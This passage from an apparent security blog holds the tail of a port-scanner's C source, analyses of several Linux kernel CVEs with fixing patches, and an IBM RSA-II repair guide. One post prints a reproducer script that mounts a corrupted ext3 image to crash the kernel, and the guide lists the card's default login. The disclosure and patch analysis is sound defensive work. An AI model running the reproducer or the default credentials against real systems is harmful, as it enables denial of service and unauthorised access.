		break;
	    
	      case 'R':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = dehex(rstr);
		j = -2;
		break;
		
	      case 'r':
		if (argv[i][2])
		    rstr = (unsigned char *) strdup(argv[i]+2);
		else
		    rstr = (unsigned char *) strdup(argv[++i]);
		rlen = deslash(rstr);
		j = -2;
		break;
		
	      case 'L':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &maxlen) != 1)
		{
		    fprintf(stderr, "%s: Invalid length specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 't':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &timeout) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid timeout specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 'n':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &nworkers) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid workers specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      default:
		fprintf(stderr, "%s: unknown command line switch: -%c\n",
			argv[0], argv[i][j]);
		exit(1);
	    }

  EndOptions:

    if (rstr)
    {
	if (bm_init(&bmb, rstr, rlen, ignore_case) < 0)
	{
	    fprintf(stderr, "%s: Failed search string setup: %s\n",
		    argv[0], rstr);
	    exit(1);
	}
    }

    if (debug)
	atexit(e_fun);
	
    if (i == argc || i+1 == argc)
    {
	if (i + 1 == argc)
	    get_service(argv[i], &first_port);
			  
	f_worker(NULL);
	pthread_exit(NULL);
	
	return 1; /* Not reached */
    }

    if (i + 2 != argc)
    {
	fprintf(stderr,
		"%s: Missing or extra argument(s). Use '-h' for help.\n",
		argv[0]);
	exit(1);
    }
    
    if (get_ip_range(argv[i], &first_ip, &last_ip) < 1)
    {
	fprintf(stderr, "%s: Invalid IP address range: %s\n",
		argv[0], argv[i]);
	exit(1);
    }
    
    if (get_port_range(argv[i+1], &first_port, &last_port) < 1)
    {
	fprintf(stderr, "%s: Invalid Port range: %s\n",
		argv[0], argv[i+1]);
	exit(1);
    }
    
    cur_ip = first_ip;
    cur_port = first_port;

    r_worker(NULL);
    pthread_exit(NULL);
    
    return 1; /* Not reached */
}

At last, the version file is this:

char version[] = "1.11";

Written by xorl

February 14, 2012 at 22:32

Posted in hax, linux

CVE-2011-4132: Linux kernel jbd/jbd2 Local DoS

leave a comment »

This issue was originally reported by Eryu Guan and affects the Linux kernel’s Journaling Block Device (JBD). The buggy code resides fs/jbd/checkpoint.c. More specifically in the following routine.

/*
 * Check the list of checkpoint transactions for the journal to see if
 * we have already got rid of any since the last update of the log tail
 * in the journal superblock.  If so, we can instantly roll the
 * superblock forward to remove those transactions from the log.
 *
 * Return <0 on error, 0 on success, 1 if there was nothing to clean up.
 *
 * Called with the journal lock held.
 *
 * This is the only part of the journaling code which really needs to be
 * aware of transaction aborts.  Checkpointing involves writing to the
 * main filesystem area rather than to the journal, so it can proceed
 * even in abort state, but we must not update the super block if
 * checkpointing may have failed.  Otherwise, we would lose some metadata
 * buffers which should be written-back to the filesystem.
 */

int cleanup_journal_tail(journal_t *journal)
{
        transaction_t * transaction;
        tid_t           first_tid;
        unsigned int    blocknr, freed;
     ...
        if (transaction) {
     ...
                blocknr = transaction->t_log_start;
     ...
        }
        spin_unlock(&journal->j_list_lock);
        J_ASSERT(blocknr != 0);
     ...
        return 0;
}

As Eryu Guan pointed out, using a corrupted EXT3 or EXT4 image with ‘s_first’ value equal to 0 you can reach the J_ASSERT() you see above through journal_reset(). So, the patch was to add some checks on fs/jbd/journal.c and fs/jbd2/journal.c for JBD and JBD2 respectively in order to check explicitly ‘s_first’ value in journal_get_superblock() routine.

        }
 
+       if (be32_to_cpu(sb->s_first) == 0 ||
+           be32_to_cpu(sb->s_first) >= journal->j_maxlen) {
+               printk(KERN_WARNING
+                       "JBD: Invalid start block of journal: %u\n",
+                       be32_to_cpu(sb->s_first));
+               goto out;
+       }
+
        return 0;

Finally, Eryu Guan also provided a shell script to reproduce the problem which is the following.

fstype=ext3
blocksize=1024
img=$fstype.img
offset=0
found=0
magic="c0 3b 39 98"

dd if=/dev/zero of=$img bs=1M count=8
mkfs -t $fstype -b $blocksize -F $img
filesize=`stat -c %s $img`
while [ $offset -lt $filesize ]
do
        if od -j $offset -N 4 -t x1 $img | grep -i "$magic";then
                echo "Found journal: $offset"
                found=1
                break
        fi
        offset=`echo "$offset+$blocksize" | bc`
done

if [ $found -ne 1 ];then
        echo "Magic \"$magic\" not found"
        exit 1
fi

dd if=/dev/zero of=$img seek=$(($offset+23)) conv=notrunc bs=1 count=1

mkdir -p ./mnt
mount -o loop $img ./mnt

As you can see, this script will generate a dummy EXT3 image file with ‘$offset+23’ (which is ‘s_first’ value) set to 0 and then mount it under ./mnt/ directory.

Written by xorl

December 8, 2011 at 15:08

Posted in linux, vulnerabilities

CVE-2011-4077: Linux kernel XFS readlink() Memory Corruption

leave a comment »

This interesting vulnerability was recently reported by Carlos Maiolino on xfs mailing list. This vulnerability becomes critical on kernels that do not have ‘CONFIG_XFS_DEBUG’ option enabled and we will see now why.
The bug is part of fs/xfs/xfs_vnodeops.c file in the C routine you see below.

int
xfs_readlink(
        xfs_inode_t     *ip,
        char            *link)
{
        xfs_mount_t     *mp = ip->i_mount;
        int             pathlen;
        int             error = 0;

        trace_xfs_readlink(ip);

        if (XFS_FORCED_SHUTDOWN(mp))
                return XFS_ERROR(EIO);

        xfs_ilock(ip, XFS_ILOCK_SHARED);

        ASSERT(S_ISLNK(ip->i_d.di_mode));
        ASSERT(ip->i_d.di_size <= MAXPATHLEN);

        pathlen = ip->i_d.di_size;
        if (!pathlen)
                goto out;

        if (ip->i_df.if_flags & XFS_IFINLINE) {
                memcpy(link, ip->i_df.if_u1.if_data, pathlen);
                link[pathlen] = '\0';
        } else {
                error = xfs_readlink_bmap(ip, link);
        }

 out:
        xfs_iunlock(ip, XFS_ILOCK_SHARED);
        return error;
}

As you can see, there are two ASSERT() calls to ensure that the file is a symbolic link and that it does not exceed the ‘MAXPATHLEN’ length. However, if the kernel is not compiled with ‘CONFIG_XFS_DEBUG’ and a symbolic link longer than ‘MAXPATHLEN’ is used on an XFS image, then the two ASSERT() checks won’t be executed and the subsequent memcpy() call will result in heap memory corruption since ‘pathlen’ is initialized directly with the file’s size via ‘ip->i_d.di_size’ variable.

The fix to this vulnerability was to remove the two ASSERT() calls…

        xfs_ilock(ip, XFS_ILOCK_SHARED);
 
-       ASSERT(S_ISLNK(ip->i_d.di_mode));
-       ASSERT(ip->i_d.di_size <= MAXPATHLEN);
-
        pathlen = ip->i_d.di_size;

Since the first check is performed on the VFS layer and xfs_readlink_by_handle() prior to this routine and the second one becauce the following code was added to always check for maximum path length.

                goto out;
 
+       if (pathlen > MAXPATHLEN) {
+               xfs_alert(mp, "%s: inode (%llu) symlink length (%d) too long",
+                        __func__, (unsigned long long)ip->i_ino, pathlen);
+               ASSERT(0);
+               return XFS_ERROR(EFSCORRUPTED);
+       }
+
+
        if (ip->i_df.if_flags & XFS_IFINLINE) {

Written by xorl

December 7, 2011 at 22:28

Posted in linux, vulnerabilities

CVE-2011-2898: Linux kernel AF_PACKET Information Leak

with 2 comments

This is another common kernel information leak reported by Eric Dumazet. The bug was part of include/linux/if_packet.h header file where the following two strcutures were defined.

struct tpacket_auxdata {
        __u32           tp_status;
        __u32           tp_len;
        __u32           tp_snaplen;
        __u16           tp_mac;
        __u16           tp_net;
        __u16           tp_vlan_tci;
};
   ...
struct tpacket2_hdr {
        __u32           tp_status;
        __u32           tp_len;
        __u32           tp_snaplen;
        __u16           tp_mac;
        __u16           tp_net;
        __u32           tp_sec;
        __u32           tp_nsec;
        __u16           tp_vlan_tci;
};

So, in both cases structures have two additional Bytes for alignment. However, since it was not specified, a user could obtain these padding Bytes from the contents of the memory after each structure. The two routines that could be used for this purpose are part of net/packet/af_packet.c source code file and are shown below.

static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
                       struct packet_type *pt, struct net_device *orig_dev)
{
        struct sock *sk;
        struct packet_sock *po;
        struct sockaddr_ll *sll;
        union {
                struct tpacket_hdr *h1;
                struct tpacket2_hdr *h2;
                void *raw;
        } h;
        u8 *skb_head = skb->data;
        int skb_len = skb->len;
    ...
        case TPACKET_V2
                h.h2->tp_len = skb->len;
                h.h2->tp_snaplen = snaplen;
                h.h2->tp_mac = macoff;
                h.h2->tp_net = netoff;
                if ((po->tp_tstamp & SOF_TIMESTAMPING_SYS_HARDWARE)
                                && shhwtstamps->syststamp.tv64)
                        ts = ktime_to_timespec(shhwtstamps->syststamp);
                else if ((po->tp_tstamp & SOF_TIMESTAMPING_RAW_HARDWARE)
                                && shhwtstamps->hwtstamp.tv64)
                        ts = ktime_to_timespec(shhwtstamps->hwtstamp);
                else if (skb->tstamp.tv64)
                        ts = ktime_to_timespec(skb->tstamp);
                else
                        getnstimeofday(&ts);
                h.h2->tp_sec = ts.tv_sec;
                h.h2->tp_nsec = ts.tv_nsec;
                h.h2->tp_vlan_tci = vlan_tx_tag_get(skb);
                hdrlen = sizeof(*h.h2);
                break;
        default:
                BUG();
        }
    ...
        goto drop_n_restore;
}
    ...
/*
 *      Pull a packet from our receive queue and hand it to the user.
 *      If necessary we block.
 */

static int packet_recvmsg(struct kiocb *iocb, struct socket *sock,
                          struct msghdr *msg, size_t len, int flags)
{
        struct sock *sk = sock->sk;
        struct sk_buff *skb;
        int copied, err;
        struct sockaddr_ll *sll;
        int vnet_hdr_len = 0;
    ...
        if (pkt_sk(sk)->auxdata) {
                struct tpacket_auxdata aux;

                aux.tp_status = TP_STATUS_USER;
                if (skb->ip_summed == CHECKSUM_PARTIAL)
                        aux.tp_status |= TP_STATUS_CSUMNOTREADY;
                aux.tp_len = PACKET_SKB_CB(skb)->origlen;
                aux.tp_snaplen = skb->len;
                aux.tp_mac = 0;
                aux.tp_net = skb_network_offset(skb);
                aux.tp_vlan_tci = vlan_tx_tag_get(skb);

                put_cmsg(msg, SOL_PACKET, PACKET_AUXDATA, sizeof(aux), &aux);
        }

        /*
         *      Free or return the buffer as appropriate. Again this
         *      hides all the races and re-entrancy issues from us.
         */
        err = vnet_hdr_len + ((flags&MSG_TRUNC) ? skb->len : copied);

out_free:
        skb_free_datagram(sk, skb);
out:
        return err;
}

And of course, the fix was to add the padding as part of the two structures…

 	__u16		tp_mac;
 	__u16		tp_net;
 	__u16		tp_vlan_tci;
+	__u16		tp_padding;
 };
 
 /* Rx ring - header status */
@@ -101,6 +102,7 @@ struct tpacket2_hdr {
 	__u32		tp_sec;
 	__u32		tp_nsec;
 	__u16		tp_vlan_tci;
+	__u16		tp_padding;
 };

And also update the aforementioned functions to zero out the padding too.

@@ -804,6 +804,7 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
 		} else {
 			h.h2->tp_vlan_tci = 0;
 		}
+		h.h2->tp_padding = 0;
 		hdrlen = sizeof(*h.h2);
 		break;
 	default:
@@ -1736,6 +1737,7 @@ static int packet_recvmsg(struct kiocb *iocb, struct socket *sock,
 		} else {
 			aux.tp_vlan_tci = 0;
 		}
+		aux.tp_padding = 0;
 		put_cmsg(msg, SOL_PACKET, PACKET_AUXDATA, sizeof(aux), &aux);
 	}

Written by xorl

October 7, 2011 at 21:39

Posted in linux, vulnerabilities

CVE-2011-3191: Linux kernel CIFSFindNext Signedness Issue

leave a comment »

This issue was reported by Darren Lavender and you can find the susceptible code under fs/cifs/cifssmb.c where SMB/CIFS PDU handling routines are located.

int CIFSFindNext(const int xid, struct cifs_tcon *tcon,
                 __u16 searchHandle, struct cifs_search_info *psrch_inf)
{
        TRANSACTION2_FNEXT_REQ *pSMB = NULL;
        TRANSACTION2_FNEXT_RSP *pSMBr = NULL;
        T2_FNEXT_RSP_PARMS *parms;
        char *response_data;
        int rc = 0;
        int bytes_returned, name_len;
        __u16 params, byte_count;
     ...
        name_len = psrch_inf->resume_name_len;
        params += name_len;
        if (name_len < PATH_MAX) {
                memcpy(pSMB->ResumeFileName, psrch_inf->presume_name, name_len);
                byte_count += name_len;
                /* 14 byte parm len above enough for 2 byte null terminator */
                pSMB->ResumeFileName[name_len] = 0;
                pSMB->ResumeFileName[name_len+1] = 0;
        } else {
                rc = -EINVAL;
                goto FNext2_err_exit;
        }
     ...
FNext2_err_exit:
        if (rc != 0)
                cifs_buf_release(pSMB);
        return rc;
}

From the given code snippet you can see that ‘name_len’ is declared as signed integer and it is initialized with the value of ‘psrch_inf->resume_name_len’ which is unsigned integer as we can see in fs/cifs/cifsglob.h header file where it is defined.

/*
 * One of these for each open instance of a file
 */
struct cifs_search_info {
     ...
        unsigned int resume_name_len;
     ...
};

Also, as Jeff Layton pointed out in some cases this value is derived directly from the server making this vulnerability a remote security hole. Back to the code snippet of CIFSFindNext() and assuming that the value of ‘name_len’ is large enough to make it look like a negative number, it could bypass the ‘if’ check with ‘PATH_MAX’ which is defined in include/linux/limits.h header file.

#define PATH_MAX        4096    /* # chars in a path name including nul */

And thus, lead to the memcpy() call using a huge value, the unsigned value of ‘name_len’, for the number of Bytes to copy. So, this vulnerability potentially leads to remote memory corruption.
Of course, the fix was to change the data type of the aforementioned variable as you can see in the below diff file.

 	int rc = 0;
-	int bytes_returned, name_len;
+	int bytes_returned;
+	unsigned int name_len;
 	__u16 params, byte_count;

Written by xorl

September 10, 2011 at 01:37

Posted in linux, vulnerabilities

IBM RSA-II Card Replacement and Re-configuration

with 2 comments

Although I don’t like IBM’s RSA-II technology, I recently came across a fucked up IBM x3850 server that I had to replace its RSA-II card among other hardware.

This card is installed on the I/O board that you see in the following diagram (this was taken from IBM’s manual for this specific model).



Before replacing the card, the IBM engineer that did the replacement resetted the RSA-II’s settings by pressing the button you see highlighted in the picture below.



Now, after booting the server I attempted to upgrade the RSA-II firmware to the latest version but I came accross the following error…

[root@somewhere ~]# ./ibm_fw_rsa2_zuep66a_linux_i386.sh -s
IBM Flash Update Utility v1.180
Licensed Materials - Property of IBM
(C) Copyright IBM Corp. 2008  All Rights Reserved.

Could not find RSA or RSA-II driver.  Please check your RSA or RSA-II driver
installation
Error flashing RSA2 firmware: 171
[root@somewhere ~]#

The solution was to first update the server’s BMC. So…

[root@somewhere ~]# ./ibm_fw_bmc_z2bt05j_linux_i386.sh -s -a
64 bit detected
IBM Flash Update Utility v1.148
Licensed Materials - Property of IBM
(C) Copyright IBM Corp. 2007  All Rights Reserved.

Flashing node 1
GETCMDS.TXT:..
OEMDEF.CFG:FULLFW.MOT:...............................................................................00:01 elapsed, 00:22 estimated remaining
................................................................................00:02 elapsed, 00:29 estimated remaining
................................................................................00:03 elapsed, 00:33 estimated remaining
................................................................................00:04 elapsed, 00:35 estimated remaining
................................................................................00:06 elapsed, 00:43 estimated remaining
................................................................................00:08 elapsed, 00:48 estimated remaining
................................................................................00:09 elapsed, 00:46 estimated remaining

[ ommitting ]

................................................................................00:56 elapsed, 00:01 estimated remaining
................................................................................00:57 elapsed, 00:00 estimated remaining
.......................................................
Rebooting BMC...
RSTTODEF.CFG:RESETBMC.CFG:GETCMDS.TXT:UPDATEBB.CFG:Node 1 flashed succesfully.
BMC firmware flashed successfully
[root@somewhere ~]#

Next, install and start the ‘ibmasm’ daemon that will provide you access to the IBM ASM from user space.
And at last, you can proceed to the RSA-II firmware upgrade…

[root@somewhere ~]# ./ibm_fw_rsa2_zuep66a_linux_i386.sh -s
IBM Flash Update Utility v1.180
Licensed Materials - Property of IBM
(C) Copyright IBM Corp. 2008  All Rights Reserved.

PAETBRUS.PKT: ...................................................

[ ommitting ]

Rebooting RSA.......o done
RSA2 firmware flashed successfully
[root@somewhere ~]#

Finally, in order to make the RSA-II accessible via network, install the IBM Advanced Settings Utility (IBM ASU) and initialize the network configuration using the following commands.

# Initilize network on RSA-II interface
asu set RSA_Network1 Enabled
# Set the IP address
asu set RSA_HostIPAddress1 XXX.XXX.XXX.XXX 
# Set the Subnet Mask
asu set RSA_HostIPSubnet1 255.255.255.0.
# Set the Default Gateway
asu set RSA_GatewayIPAddress1 XXX.XXX.XXX.XXX.

Hopefully, you will be able to connect to the web interface of the RSA-II and prompted for username and password.



The default credentials are:
Username: USERID
Password: PASSW0RD
Notice that the password is written with a zero (0) instead of the letter ‘O’.



And as you can see, there is no error detected so we are probably all done.

Written by xorl

August 21, 2011 at 15:04

Posted in administration, ibm, linux